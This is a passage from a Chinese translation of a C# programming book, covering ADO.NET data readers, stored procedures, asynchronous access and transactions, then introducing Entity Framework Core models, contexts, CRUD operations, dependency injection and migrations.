Prod ON " + "CostHistory.ProductId = Prod.ProductId " + "WHERE Prod.ProductId = @ProductId"; 当调用SqlCommand对象的ExecuteReader方法时,返回SqlDataReader。注意, SqlDataReader使用完后需要销毁。还要注意,这次SqlConnection对象没有在方法的最后明 确地销毁。给ExecuteReader方法传递参数CommandBehavior.CloseConnection,会在关闭 读取器时,自动关闭连接。如果没有提供这个设置,就仍然需要关闭连接。 从数据读取器中读取记录时,Read方法在while循环中调用。Read方法的第一个调用 将光标移动到返回的第一条记录上。再次调用Read时,光标定位到下一个记录(只要还 有记录)。如果下一步位置上没有记录了,Read方法就返回false。访问列的值时,调用不 同的GetXXX方法,如GetInt32、GetString和GetDateTime。这些方法是强类型化的,因为 它们返回所需的特定类型,如int、string和DateTime。传递给这些方法的索引对应于用 SQL SELECT语句检索的列,因此即使数据库结构有变化,该索引也保持不变。在强类型 化的GetXXX方法中,需要注意从数据库返回的null值;此时,GetXXX方法会抛出一个异 常。对于检索的数据,只有CostHistory.EndDate可以为空,所有其他列都由数据库模式定 义为不能是null。在这种情况下为了避免异常,使用C#条件语句?:和 SqlDataReader.IsDbNull方法,检查值是否是null。如果是,就把null分配给可空的 DateTime。只有值不是null,才使用GetDateTime方法访问DateTime (代码文件 CommandSamples / Program.cs): public static void ExecuteReader(int productId) { var connection = new SqlConnection(GetConnectionString()); string sql = GetProductInformationSQL(); var command = new SqlCommand(sql, connection); var productIdParameter = new SqlParameter("ProductId", SqlDbType.Int); productIdParameter.Value = productId; command.Parameters.Add(productIdParameter); connection.Open(); using (SqlDataReader reader = command.ExecuteReader(CommandBehavior.CloseConnection)) { while (reader.Read() ) { int id = reader.GetInt32(0); string name = reader.GetString(1); DateTime from = reader.GetDateTime(4); DateTime? to = reader.IsDBNull(5) ? (DateTime?)null: reader.GetDateTime(5); decimal standardPrice = reader.GetDecimal(6); WriteLine($"{id} {name} from: {from:d} to: {to:d}; " + $"price: {standardPrice}"); } } } 运行应用程序,把产品ID 717传递给ExecuteReader方法,输出如下: 717 HL Road Frame-Red, 62 from: 5/31/2011 to: 5/29/2012; price: 747.9682 717 HL Road Frame-Red, 62 from: 5/30/2012 to: 5/29/2013; price: 722.2568 717 HL Road Frame-Red, 62 from: 5/30/2013 to:; price: 868.6342 对于产品ID的可能值,检查数据库的内容。 对于SqlDataReader,不是使用类型化的GetXXX方法,而可以使用无类型的索引器返 回一个对象。为此,需要转换为相应的类型: int id = (int)reader[0]; string name = (string)reader[1]; DateTime from = (DateTime)reader[2]; DateTime? to = (DateTime?)reader[3]; SqlDataReader的索引器还允许使用string而不是int传递列名。在这些不同的选项中, 这是最慢的方法,但它可以满足需求。与发出服务调用所需的时间相比,访问索引器所需 的额外时间可以忽略不计: int id = (int)reader["ProductID"]; string name = (string)reader["Name"]; DateTime from = (DateTime)reader["StartDate"]; DateTime? to = (DateTime?)reader["EndDate"]; 37.3.4 调用存储过程 用命令对象调用存储过程,就是定义存储过程的名称,给过程的每个参数添加参数定 义,然后用上一节中给出的其中一种方法执行命令。 下面的示例调用存储过程uspGetEmployeeManagers,得到一位员工的所有上司。这个 存储过程接收一个参数,使用递归查询返回所有经理的记录: CREATE PROCEDURE [dbo].[uspGetEmployeeManagers] @BusinessEntityID [int] AS -... 为了查看存储过程的实现代码,请检查AdventureWorks2014数据库。 为了调用存储过程,SqlCommand对象的CommandText设置为存储过程的名称, CommandType设置为CommandType.StoredProcedure。除此之外,该命令的调用类似于以 前的方式。参数使用SqlCommand对象的CreateParameter方法创建,也可以使用其他方法 来创建之前使用的参数。对于参数,填充SqlDbType、ParameterName和Value属性。因为 存储过程返回记录,所以它通过调用方法ExecuteReader来调用(代码文件 CommandSamples / Program.cs): private static void StoredProcedure(int entityId) { using (var connection = new SqlConnection(GetConnectionString())) { SqlCommand command = connection.CreateCommand(); command.CommandText = "[dbo].[uspGetEmployeeManagers]"; command.CommandType = CommandType.StoredProcedure; SqlParameter p1 = command.CreateParameter(); p1.SqlDbType = SqlDbType.Int; p1.ParameterName = "@BusinessEntityID"; p1.Value = entityId; command.Parameters.Add(p1); connection.Open(); using (SqlDataReader reader = command.ExecuteReader()) { while (reader.Read()) { int recursionLevel = (int)reader["RecursionLevel"]; int businessEntityId = (int)reader["BusinessEntityID"]; string firstName = (string)reader["FirstName"]; string lastName = (string)reader["LastName"]; WriteLine($"{recursionLevel} {businessEntityId} " + $"{firstName} {lastName}"); } } } } 运行应用程序,传递实体ID 251,得到这个雇员的上司,如下所示: 0 251 Mikael Sandberg 1 250 Sheela Word 2 249 Wendy Kahn 根据存储过程返回的内容,需要用ExecuteReader、ExecuteScalar或ExecuteNonQuery 调用存储过程。 对于包含Output参数的存储过程,需要指定SqlParameter的Direction属性。默认情况 下,Direction是ParameterDirection. Input: var pOut = new SqlParameter(); pOut.Direction = ParameterDirection.Output; 37.4 异步数据访问 访问数据库可能要花一些时间。这里不应该阻塞用户界面。ADO.NET类通过异步方 法和同步方法,提供了基于任务的异步编程。下面的代码片段类似于上一个使用 SqlDataReader的代码,但它使用了异步的方法调用。连接用SqlConnection. OpenAsync打 开,读取器从SqlCommand.Execute-ReaderAsync方法中返回,记录使用 SqlDataReader.ReadAsync检索。在所有这些方法中,调用线程没有阻塞,但是可以在得到 结果前,执行其他的工作(代码文件AsyncSamples / Program.cs): public static void Main() { ReadAsync(714).Wait(); } public static async Task ReadAsync(int productId) { var connection = new SqlConnection(GetConnectionString()); string sql = "SELECT Prod.ProductID, Prod.Name, Prod.StandardCost, Prod.ListPrice, " + "CostHistory.StartDate, CostHistory.EndDate, CostHistory.StandardCost " + "FROM Production.ProductCostHistory AS CostHistory " + "INNER JOIN Production.Product AS Prod ON " + "CostHistory.ProductId = Prod.ProductId " + "WHERE Prod.ProductId = @ProductId"; var command = new SqlCommand(sql, connection); var productIdParameter = new SqlParameter("ProductId", SqlDbType.Int); productIdParameter.Value = productId; command.Parameters.Add(productIdParameter); await connection.OpenAsync(); using (SqlDataReader reader = await command.ExecuteReaderAsync ( CommandBehavior.CloseConnection)) { while (await reader.ReadAsync() ) { int id = reader.GetInt32(0); string name = reader.GetString(1); DateTime from = reader.GetDateTime(4); DateTime? to = reader.IsDBNull(5) ? (DateTime?)null: reader.GetDateTime(5); decimal standardPrice = reader.GetDecimal(6); WriteLine($"{id} {name} from: {from:d} to: {to:d}; " + $"price: {standardPrice}"); } } } 使用异步方法调用,不仅有利于Windows应用程序,也有利于在服务器端同时进行多 个调用。ADO.NET API的异步方法有重载版本来支持CancellationToken,让长时间运行的 方法早些停止。  注意: 异步方法调用和CancellationToken详见第15章。 37.5 事务 默认情况下,一个命令运行在一个事务中。如果需要执行多个命令,所有这些命令都 执行完毕,或都没有执行,就可以显式地启动和提交事务。 事务的特征可以用术语ACID来定义,ACID是Atomicity、Consistency、Isolation和 Durability的首字母缩写。 ● Atomicity(原子性):表示一个工作单元。在事务中,要么整个工作单元都成功完 成,要么都不完成。 ● Consistency(一致性):事务开始前的状态和事务完成后的状态必须有效。在执行 事务的过程中,状态可以有临时值。 ● Isolation(隔离性):表示并发进行的事务独立于状态,而状态在事务处理过程中 可能发生变化。在事务未完成时,事务A看不到事务B中的临时状态。 ● Durability(持久性):在事务完成后,它必须以可持久的方式存储起来。如果关闭 电源或服务器崩溃,该状态在重新启动时必须恢复。  注意: 事务和有效状态很容易用婚礼来解释。新婚夫妇站在事务协调员面 前,事务协调员询问一位新人:“你愿意与你身边的男人结婚吗?”如果第一位新人同 意,就询问第二位新人:“你愿意与这个女人结婚吗?”如果第二位新人反对,第一位新 人就接收到回滚消息。这个事务的有效状态是,要么两个人都结婚,要么两个人都不 结婚。如果两个人都同意结婚,事务就会提交,这两个人就都处于已结婚的状态。如 果其中一个人反对,事务就会终止,两个人都处于未结婚的状态。无效的状态是:一 个人已结婚,而另一个没有结婚。事务确保结果永远不处于无效状态。 在ADO.NET中,通过调用SqlConnection的BeginTransaction方法就可以开始事务。事 务总是与一个连接关联起来;不能在多个连接上创建事务。BeginTransaction方法返回一 个SqlTransaction, SqlTransaction需要使用运行在相同事务下的命令(代码文件 TransactionSamples / Program.cs): public static void TransactionSample() { using (var connection = new SqlConnection(GetConnectionString())) { await connection.OpenAsync(); SqlTransaction tx = connection.BeginTransaction(); // etc. } }  注意: 实际上,可以创建跨多个连接的事务。因此,在Windows操作系统上 可以使用分布式事务协调器。可以使用TransactionScope类创建分布式事务。然而,这 个类只是完整.NET Framework的一部分,没有进入.NET Core;因此本书不介绍它。 代码示例在Sales.CreditCard表中创建一个记录。使用SQL子句INSERT INTO添加记 录。CreditCard表定义了一个自动递增的标识符,它使用返回创建的标识符的第二个SQL 语句SELECT SCOPE_IDENTITY()返回。在实例化SqlCommand对象后,通过设置 Connection属性来分配连接,设置Transaction属性来指定事务。在ADO.NET事务中,不能 把事务分配给使用不同连接的命令。不过,可以用相同的连接创建与事务不相关的命令: public static void TransactionSample() { // etc. try { string sql = "INSERT INTO Sales.CreditCard " + "(CardType, CardNumber, ExpMonth, ExpYear)" + "VALUES (@CardType, @CardNumber, @ExpMonth, @ExpYear); " + "SELECT SCOPE_IDENTITY()"; var command = new SqlCommand(); command.CommandText = sql; command.Connection = connection; command.Transaction = tx; // etc. } 在定义参数,填充值后,通过调用方法ExecuteScalarAsync来执行命令。这次, ExecuteScalarAsync方法和INSERT INTO子句一起使用,因为完整的SQL语句通过返回一 个结果来结束:从SELECT SCOPE_IDENTITY()返回创建的标识符。如果在WriteLine 方法后设置一个断点,检查数据库中的结果,在数据库中就不会看到新记录,虽然已经返 回了创建的标识符。原因是事务没有提交: public static void TransactionSample() { // etc. var p1 = new SqlParameter("CardType", SqlDbType.NVarChar, 50); var p2 = new SqlParameter("CardNumber", SqlDbType.NVarChar, 25); var p3 = new SqlParameter("ExpMonth", SqlDbType.TinyInt); var p4 = new SqlParameter("ExpYear", SqlDbType.SmallInt); command.Parameters.AddRange(new SqlParameter[] { p1, p2, p3, p4 }); command.Parameters["CardType"].Value = "MegaWoosh"; command.Parameters["CardNumber"].Value = "08154711123"; command.Parameters["ExpMonth"].Value = 4; command.Parameters["ExpYear"].Value = 2019; object id = await command.ExecuteScalarAsync(); WriteLine($"record added with id: {id}"); // etc. } 现在可以在同一事务中创建另一个记录。在示例代码中,使用同样的命令,连接和事 务仍然相关,只是在再次调用ExecuteScalarAsync前改变了值。也可以创建一个新的 SqlCommand对象,访问同一个数据库中的另一个表。调用SqlTransaction对象的Commit方 法,提交事务。之后,就可以在数据库中看到新记录: public static void TransactionSample() { // etc. command.Parameters["CardType"].Value = "NeverLimits"; command.Parameters["CardNumber"].Value = "987654321011"; command.Parameters["ExpMonth"].Value = 12; command.Parameters["ExpYear"].Value = 2025; id = await command.ExecuteScalarAsync(); WriteLine($"record added with id: {id}"); // throw new Exception("abort the transaction"); tx.Commit(); } // etc. } 如果出错,Rollback方法就撤销相同事务中的所有SQL命令。状态重置为事务开始之 前的值。通过取消注释提交之前的异常,很容易模拟回滚: public static void TransactionSample() { // etc. catch (Exception ex) { WriteLine($"error {ex.Message}, rolling back"); tx.Rollback(); } } } 如果在调试模式下运行程序,断点激活的时间太长,事务就会中断,因为事务超时 了。事务处于活跃状态时,并不意味着有用户输入。为用户输入增加事务的超时时间也不 是很有用,因为事务处于活跃状态,会导致在数据库中有一个锁定。根据读写的记录,可 能出现行锁、页锁或表锁。为创建事务设置隔离级别,可以影响锁定,因此影响数据库的 性能。然而,这也影响事务的ACID属性,例如,并不是所有数据都是隔离的。 应用于事务的默认隔离级别是ReadCommitted。表37-1显示了可以设置的不同选项。 表37-1 隔离级别 说明 ReadUncommitted 使用ReadUncommitted,事务不会相互隔离。使用这个级 别,不等待其他事务释放锁定的记录。这样,就可以从其他 事务中读取未提交的数据——脏读。这个级别通常仅用于读 取不管是否读取临时修改都无关紧要的记录,如报表 ReadCommitted ReadCommitted等待其他事务释放对记录的写入锁定。这 样,就不会出现脏读操作。这个级别为读取当前的记录设置 读取锁定,为要写入的记录设置写入锁定,直到事务完成为 止。对于要读取的一系列记录,在移动到下一个记录上时, 前一个记录都是未锁定的,所以可能出现不可重复的读操作 RepeatableRead RepeatableRead为读取的记录设置锁定,直到事务完成为 止。这样,就避免了不可重复读的问题。但幻读仍可能发生 Serializable Serializable设置范围锁定。在运行事务时,不可能添加与所 读取的数据位于同一个范围的新记录 Snapshot Snapshot用于对实际的数据建立快照。在复制修改的记录 时,这个级别会减少锁定。这样,其他事务仍可以读取旧数 据,而无须等待解锁 Unspecified Unspecified表示,提供程序使用另一个隔离级别值,该值不 同于IsolationLevel枚举定义的值 Chaos Chaos类似于ReadUncommitted,但除了执行 ReadUncommitted值的操作之外,它不能锁定更新的记录 表37-2总结了设置最常用的事务隔离级别可能导致的问题。 表37-2 隔离级别 脏读 不可重复读 幻读 ReadUncommitted Y Y Y ReadCommitted N Y Y RepeatableRead N N Y Serializable Y Y Y 37.6 小结 本章介绍了ADO.NET的核心基础。首先介绍的SqlConnection对象打开一个到SQL Server的连接。讨论了如何从配置文件中检索连接字符串。 接着阐述了如何正确地进行连接,这样稀缺的资源就可以尽可能早地关闭。所有连接 类都实现IDisposable接口,在对象放在using子句中时调用该接口。如果本章只有一件值得 注意的事,那就是尽早关闭数据库连接的重要性。 对于命令,传递参数,就得到一个返回值,使用SqlDataReader检索记录。还论述了 如何使用SqlCommand对象调用存储过程。 类似于框架的其他部分,处理可能要花一些时间,ADO.NET实现了基于任务的异步 模式。还看到了如何通过ADO.NET创建和使用事务。 下一章讨论ADO.NET Entity Framework,它提供了关系数据库和对象层次结构之间的 映射,从而提供了抽象的数据访问,访问关系数据库时,在后台使用ADO.NET类。 第38章 Entity Framework Core 本章要点 ● Entity Framework Core 1.0简介 ● 使用依赖项注入和Entity Framework ● 用关系创建模型 ● 使用Migrations、.NET CLI工具和MSBuild ● 对象跟踪 ● 更新对象和对象树 ● 用更新处理冲突 ● 使用事务 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可下载 本章源代码。本章代码分为以下几个主要的示例文件: ● 图书示例 ● 图书示例和DI ● 菜单示例 ● 菜单和数据注释 ● 冲突处理示例 ● 事务示例 38.1 Entity Framework简史 Entity Framework是一个提供了实体-关系映射的架构,通过它,可以创建映射到数据 库表的类型,使用LINQ创建数据库查询,创建和更新对象,把它们写入数据库。 Entity Framework经过多年的改变,最新的版本完全重写了。下面看看Entity Framework的历史,了解改写的原因。 ● Entity Framework 1——Entity Framework的第一个版本没有准备用于.NET 3.5,但不 久它就可用于.NET 3.5 SP1。另一个产品是LINQ to SQL,它提供了类似的功能, 可用于.NET 3.5。从广义上看,LINQ to SQL和Entity Framework提供了类似的功 能。然而,LINQ to SQL使用起来更简单,但只用于访问SQL Server。Entity Framework是基于提供程序的,可以访问几种不同的关系数据库。它包含了更多 的功能,比如多对多映射,不需要映射对象,可以进行n到n映射。Entity Framework的一个缺点是,它要求模型类型派生自EntityObject基类。使用一个包 含XML的EDMX文件,把对象映射到关系上。所包含的XML用三种模式定义:概 念模式定义(CSD)定义对象类型及其属性和关联;存储模式定义(SSD)定义 了数据库表、列和关系;映射模式语言(MSL)定义了CSD和SSD如何彼此映 射。 ● Entity Framework 4——Entity Framework 4可用于.NET 4,进行了重大改进,许多想 法都来自LINQ to SQL。因为改动较大,跳过了版本2和3。在这个版本中,增加 了延迟加载,在访问属性时获取关系。设计模型后,可以使用SQL数据定义语言 (DDL)创建数据库。使用Entity Framework的两个模型现在是Database First或 Model First。添加的最重要特性是支持Plain Old CLR Objects (POCO),所以不 再需要派生自基类EntityObject。 在后来的更新(如Entity Framework 4.1、4.2)中,用NuGet包添加了额外的特性。这 允许更快地增加功能。Entity Framework 4.1提供了Code First模型,其中不再使用定义映射 的EDMX文件。相反,所有的映射都使用C#代码定义——使用特性或流利的API定义使用 代码的映射。 Entity Framework 4.3添加了对迁移的支持。有了迁移,可以使用C#代码定义对数据库 中模式的更新。数据库更新可以自动应用到使用数据库的应用程序上。 ● Entity Framework 5——Entity Framework 5的NuGet包支持.NET 4.5和.NET 4应用程 序。然而,Entity Framework 5的许多功能可用于.NET 4.5。Entity Framework仍然 基于安装在系统上的类型和.NET 4.5。在这个版本中,新增了性能改进,支持新 的SQL Server功能,如空间数据类型。 ● Entity Framework 6——Entity Framework 6解决了Entity Framework 5的一些问题, 其部分原因是,该框架的一部分安装在系统上,一部分通过NuGet扩展获得。现 在,Entity Framework的完整代码都移动到NuGet包上。为了不出现冲突,使用了 一个新的名称空间。将应用程序移植到新版本上,必须改变名称空间。 本书介绍了Entity Framework的最新版本:Entity Framework Core 1.0。这个版本完全 重写了,删除旧的行为。这个版本不支持XML文件映射与CSDL、SSDL和MSL。只支持 Code First——用Entity Framework 4.1添加的模型。Code First并不意味着数据库不存在。 可以先创建数据库,或纯粹从代码中定义数据库;这两种选择都是可能的。  注意: 名称Code First有些误导。在Code First中,代码或者数据库都可以先 创建。在最初Code First的beta版本中,名字是Code Only。因为其他模型选项在名字中 包含First,所以名称Code Only也改变了。 完整重写的Entity Framework,不仅支持关系数据库,也支持NoSql数据库——只需要 一个提供程序。目前,在撰写本书时,提供程序支持是有限的,但随着时间的推移,提供 程序会增加。 Entity Framework的新版本基于.NET Core,因此可以在Linux和Mac系统上使用这个框 架。 Entity Framework Core 1.0不支持Entity Framework 6提供的所有特性。但随着时间的 推移,新版本的Entity Framework会提供更多的特性。只需要注意使用什么版本的Entity Framework。始终使用Entity Framework 6有许多有效的理由,但在非Windows平台上使用 ASP.NET Core 1.0,使用Entity Framework与通用Windows平台,使用非关系数据存储,都 需要使用Entity Framework Core 1.0。 本章介绍Entity Framework Core 1.0。它始于一个简单的模型读写来自SQL Server的信 息。后来,添加了关系,在写入数据库时介绍变更追踪器和冲突的处理。使用迁移创建和 修改数据库模式是本章的另一个重要组成部分。  注意: 本章使用Books数据库。这个数据库包含在代码下载示例 www.wrox.com/go/professionalcsharp6中。 38.2 Entity Framework简介 第一个例子使用了一个Book类型,把这种类型映射到SQL Server数据库中的Books 表。把记录写到数据库,然后读取、更新和删除它们。 在第一个示例中,首先创建数据库。为此,可以使用Visual Studio 2015中的SQL Server Object Explorer。选择数据库实例(localdb)\ MSSQLLocalDB(随Visual Studio一 起安装),单击树视图中的Databases节点,然后选择Add New Database。示例数据库只有 一个表Books。 为了创建Books表,可以在Books数据库内选择Tables节点,然后选择Add New Table。使用如图38-1所示的设计器,或者在T-SQL编辑器中输入SQL DDL语句,就可以 创建Books表。下面的代码片段显示了创建表的T-SQL代码。单击Update按钮,就可以将 更改提交到数据库。 CREATE TABLE [dbo].[Books] ( [BookId] INT NOT NULL PRIMARY KEY IDENTITY, [Title] NVARCHAR(50) NOT NULL, [Publisher] NVARCHAR(25) NOT NULL ) 图38-1 38.2.1 创建模型 访问Books数据库的BookSample示例应用程序是一个控制台应用程序(包)。这个示 例使用以下依赖项和名称空间: 依赖项 NETStandard.Library Microsoft.EntityFrameworkCore Microsoft.EntityFrameworkCore.SqlServer 名称空间 Microsoft.EntityFrameworkCore System.ComponentModel.DataAnnotations.Schema System System.Linq System.Threading.Tasks static System.Console Book类是一个简单的实体类型,定义了三个属性。BookId属性映射到表的主键, Title属性映射到Title列,Publisher属性映射到Publisher列。为了把类型映射到Books表, Table特性应用于类型(代码文件BooksSample / Book.cs): [Table("Books")] public class Book { public int BookId { get; set; } public string Title { get; set; } public string Publisher { get; set; } } 38.2.2 创建上下文 通过创建BooksContext类,就实现了Book表与数据库的关系。这个类派生自基类 DbContext。BooksContext类定义了DbSet<Book>类型的Books属性。这个类型允许创建查 询,添加Book实例,存储在数据库中。要定义连接字符串,可以重写DbContext的 OnConfiguring方法。在这里,UseSqlServer扩展方法将上下文映射到SQL Server数据库 (代码文件BooksSample / BooksContext.cs): public class BooksContext: DbContext { private const string ConnectionString = @"server=(localdb)\MSSQLLocalDb; database=Books; trusted_connection=true" ; public DbSet<Book> Books { get; set; } protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilde r) { base.OnConfiguring(optionsBuilder); optionsBuilder.UseSqlServer(ConnectionString); } } 定义连接字符串的另一种选择是使用依赖注入,参见本章后面的内容。 38.2.3 写入数据库 创建带有Books表的数据库;定义模型和上下文类,现在就可以用数据填充表了。创 建AddBookAsync方法,把Book对象添加到数据库中。首先,实例化BooksContext对象。 使用using语句确保数据库连接是关闭的。使用Add方法将对象添加到上下文后,调用 SaveChangesAsync把实体写入数据库(代码文件BooksSample / Program.cs): private async Task AddBookAsync(string title, string publisher) { using (var context = new BooksContext() ) { var book = new Book { Title = title, Publisher = publisher }; context.Add(book); int records = await context.SaveChangesAsync(); WriteLine($"{records} record added"); } WriteLine(); } 为了添加一组图书,可以使用AddRange方法(代码文件BooksSample / Program.cs): private async Task AddBooksAsync() { using (var context = new BooksContext()) { var b1 = new Book { Title = "Professional C# 5 and .NET 4.5.1", Publisher = "Wrox Press" }; var b2 = new Book { Title = "Professional C# 2012 and .NET 4.5", Publisher = "Wrox Press" }; var b3 = new Book { Title = "JavaScript for Kids", Publisher = "Wrox Press" }; var b4 = new Book { Title = "Web Design with HTML and CSS", Publisher = "For Dummies" }; context.AddRange(b1, b2, b3, b4); int records = await context.SaveChangesAsync() ; WriteLine($"{records} records added"); } WriteLine(); } 运行应用程序,调用这些方法,就可以使用SQL Server Object Explorer查看写入数据 库的数据。 38.2.4 读取数据库 为了在C#代码中读取数据,只需要调用BooksContext,访问Books属性。访问该属性 会创建一个SQL语句,从数据库中检索所有的书(代码文件BooksSample / Program.cs): private void ReadBooks() { using (var context = new BooksContext()) { var books = context.Books; foreach (var b in books) { WriteLine($"{b.Title} {b.Publisher}"); } } WriteLine(); } 在调试期间打开IntelliTrace Events窗口,就可以看到发送到数据库的SQL语句(这需 要Visual Studio企业版): SELECT [b].[BookId], [b].[Publisher], [b].[Title] FROM [Books] AS [b] Entity Framework提供了一个LINQ提供程序。使用它可以创建LINQ查询来访问数据 库。也可以使用方法语法,如下所示: private void QueryBooks() { using (var context = new BooksContext()) { var wroxBooks = context.Books.Where(b => b.Publisher == "Wrox Press"); foreach (var b in wroxBooks) { WriteLine($"{b.Title} {b.Publisher}"); } } WriteLine(); } 或使用声明性的LINQ查询语法: var wroxBooks = from b in context.Books where b.Publisher == "Wrox Press" select b; 使用两个语法变体,将这个SQL语句发送到数据库: SELECT [b].[BookId], [b].[Publisher], [b].[Title] FROM [Books] AS [b] WHERE [b].[Publisher] = 'Wrox Press'  注意: LINQ参见第13章。 38.2.5 更新记录 更新记录很容易实现:修改用上下文加载的对象,并调用SaveChangesAsync(代码文 件BooksSample / Program. cs): private async Task UpdateBookAsync() { using (var context = new BooksContext()) { int records = 0; var book = context.Books.Where(b => b.Title == "Professional C# 6") .FirstOrDefault(); if (book ! = null) { book.Title = "Professional C# 6 and .NET Core 5"; records = await context.SaveChangesAsync(); } WriteLine($"{records} record updated"); } WriteLine(); } 38.2.6 删除记录 最后,清理数据库,删除所有记录。为此,可以检索所有记录,并调用Remove或 RemoveRange方法,把上下文中对象的状态设置为删除。现在调用SaveChangesAsync方 法,从数据库中删除记录,并为每一个对象调用SQL Delete语句(代码文件BooksSample / Program. cs): private async Task DeleteBooksAsync() { using (var context = new BooksContext()) { var books = context.Books; context.Books.RemoveRange(books); int records = await context.SaveChangesAsync(); WriteLine($"{records} records deleted"); } WriteLine(); }  注意: 对象-关系映射工具,如Entity Framework,并不适用于所有场景。使 用示例代码删除所有对象不那么高效。使用单个SQL语句可以删除所有记录,而不是为 每一记录使用一个语句。具体操作参见第37章。 了解了如何添加、查询、更新和删除记录,本章后面将介绍后台的功能,讨论使用 Entity Framework的高级场景。 38.3 使用依赖注入 Entity Framework Core 1.0内置了对依赖注入的支持。它不是定义连接并利用 DbContext派生类来使用SQL Server,而是使用依赖注入框架来注入连接和SQL Server选 项。 为了看到其操作,前面的示例用BooksSampleWithDI示例项目进行修改。 这个示例使用以下依赖项和名称空间: 依赖项 NETStandard.Library Microsoft.EntityFrameworkCore Microsoft.EntityFrameworkCore.SqlServer Microsoft.Framework.DependencyInjection 名称空间 Microsoft.EntityFrameworkCore System.Linq System.Threading.Tasks static System.Console BooksContext类现在看起来要简单许多,只是定义Books属性(代码文件 BooksSampleWithDI/BooksContext.cs): public class BooksContext: DbContext { public Books Context(DbContextOptions options) : base(options) { } public DbSet Books { get; set; } } BooksService是利用BooksContext的新类。在这里,BooksContext通过构造函数注入功 能来注入。方法AddBooksAsync和ReadBooks非常类似于前面的示例,但是它们使用 BooksService类的上下文成员,而不是创建一个新的上下文(代码文件 BooksSampleWithDI / BooksService.cs): public class BooksService { private readonly BooksContext _booksContext; public BooksService(BooksContext context) { _booksContext = context; } public async Task AddBooksAsync() { var b1 = new Book { Title = "Professional C# 5 and .NET 4.5.1", Publisher = "Wrox Press" }; var b2 = new Book { Title = "Professional C# 2012 and .NET 4.5", Publisher = "Wrox Press" }; var b3 = new Book { Title = "JavaScript for Kids", Publisher = "Wrox Press" }; var b4 = new Book { Title = "Web Design with HTML and CSS", Publisher = "For Dummies" }; _booksContext.AddRange(b1, b2, b3, b4); int records = await _booksContext.SaveChangesAsync(); WriteLine($"{records} records added"); } public void ReadBooks() { var books = _booksContext.Books; foreach (var b in books) { WriteLine($"{b.Title} {b.Publisher}"); } WriteLine(); } } 依赖注入框架的容器在InitializeServices方法中初始化。这里创建了ServiceCollection 实例,在这个集合中添加BooksService类,并进行短暂的生命周期管理。这样,每次请求 这个服务时,就实例化ServiceCollection。为了注册Entity Framework和SQL Server,可以 使用扩展方法AddEntityFramework、AddSqlServer和AddDbContext。AddDbContext方法需 要一个Action委托作为参数,来接收DbContextOptionsBuilder参数。有了这个选项参数, 上下文可以使用UseSqlServer扩展方法来配置。这类似于前面示例中用Entity Framework注 册SQL Server的功能(代码文件BooksSampleWithDI /Program.cs): private void InitializeServices() { const string ConnectionString = @"server=(localdb)\MSSQLLocalDb; database=Books; trusted_connection=true" ; var services = new ServiceCollection(); services.AddTransient<BooksService>(); services.AddEntityFramework() .AddSqlServer() .AddDbContext<BooksContext>(options => options.UseSqlServer(ConnectionString)); Container = services.BuildServiceProvider(); } public IServiceProvider Container { get; private set; } 服务的初始化以及使用BooksService在Main()方法中完成。通过调用 IServiceProvider的GetService()方法检索BooksService (代码文件BooksSampleWithDI / Program. cs): static void Main() { var p = new Program(); p.InitializeServices(); var service = p.Container.GetService<BooksService>(); service.AddBooksAsync().Wait(); service.ReadBooks(); } 运行应用程序时,可以看到,在Books数据库中添加和读取记录。  注意: 依赖注入和Microsoft.Framework.DependencyInjection包的信息详见第 31章,其操作参见第40章和第41章。 38.4 创建模型 本章的第一个例子映射到一个表。第二个例子展示了如何创建表之间的关系。本节不 是使用SQL DDL语句(或通过设计器)创建数据库,而是使用C#代码来创建数据库。 示例应用程序MenusSample利用以下依赖项和名称空间: 依赖项 NETStandard.Library Microsoft.EntityFrameworkCore Microsoft.EntityFrameworkCore.SqlServer 名称空间 Microsoft.EntityFrameworkCore Microsoft.EntityFrameworkCore.ChangeTracking System System.Collections.Generic System.ComponentModel.DataAnnotations System.ComponentModel.DataAnnotations.Schema System.Linq System.Threading System.Threading.Tasks static System.Console 38.4.1 创建关系 下面开始创建模型。示例项目使用MenuCard和Menu类型定义了一对多关系。 MenuCard包含Menu对象的列表。这个关系由List<Menu>类型的Menu属性定义(代码文件 MenusSample/MenuCard.cs): public class MenuCard { public int MenuCardId { get; set; } public string Title { get; set; } public List<Menu> Menus { get; } = new List<Menu>(); public override string ToString() => Title; } 也可以在另一个方向上访问关系,Menu可以使用MenuCard属性访问MenuCard。指定 MenuCardId属性来定义一个外键关系(代码文件MenusSample / Menu.cs): public class Menu { public int MenuId { get; set; } public string Text { get; set; } public decimal Price { get; set; } public int MenuCardId { get; set; } public MenuCard MenuCard { get; set; } public override string ToString() => Text; } 到数据库的映射是通过MenusContext类实现的。这个类的定义类似于前面的上下文类 型;它只包含两个属性,映射两个对象类型:Menus和MenuCards属性(代码文件 MenusSamples/Menus-Context.cs): public class MenusContext: DbContext { private const string ConnectionString = @"server=(localdb)\MSSQLLocalDb; " + "Database=MenuCards; Trusted_Connection=True"; public DbSet<Menu> Menus { get; set; } public DbSet<MenuCard> MenuCards { get; set; } protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilde r) { base.OnConfiguring(optionsBuilder); optionsBuilder.UseSqlServer(ConnectionString); } } 38.4.2 用.NET CLI迁移 为了使用C#代码自动创建数据库,可以使用包dotnet-ef工具扩展.NET CLI工具。这个 包包含为迁移创建C#代码的命令。安装NuGet包dotnet-ef,会使命令可用。安装它时,要 在项目配置文件中从工具部分引用这个包(代码文件MenusSample / project. json): "tools": { "Microsoft.EntityFramework Core.tools":{ "Version":"1.0.0-*", "imports":"Portable-net452+Win81" } } 通过ef命令,它提供了命令database、dbcontext和migrations。database命令用于把数据 库升级到特定的迁移状态。dbcontext命令列出项目中所有的DbContext派生类型 (dbcontext list),它从数据库中创建上下文和实体(dbcontext scaffold)。migrations命 令允许创建和删除迁移,创建一个SQL脚本,用所有的迁移数据创建数据库。如果生产数 据库只能使用SQL代码从SQL管理器中创建和修改,就可以把生成的脚本提交到SQL管理 器。 为了创建一个初始迁移,从代码中创建数据库,可以在开发命令提示符中调用下面的 命令。这个命令会创建一个名为InitMenuCards的迁移: >dotnet ef migrations add InitMenuCards migrations add命令使用反射访问DbContext派生类,接着访问引用的模型类型。根据 这些信息,它创建了两个类,来创建和更新数据库。通过Menu、MenuCard和 MenusContext类,创建两个类MenusContextModelSnapshot和InitMenuCards。命令成功 后,这两个类型在Migrations文件夹中。 MenusContextModelSnapshot类包含建立数据库的模型的当前状态: [DbContext(typeof(MenusContext))] partial class 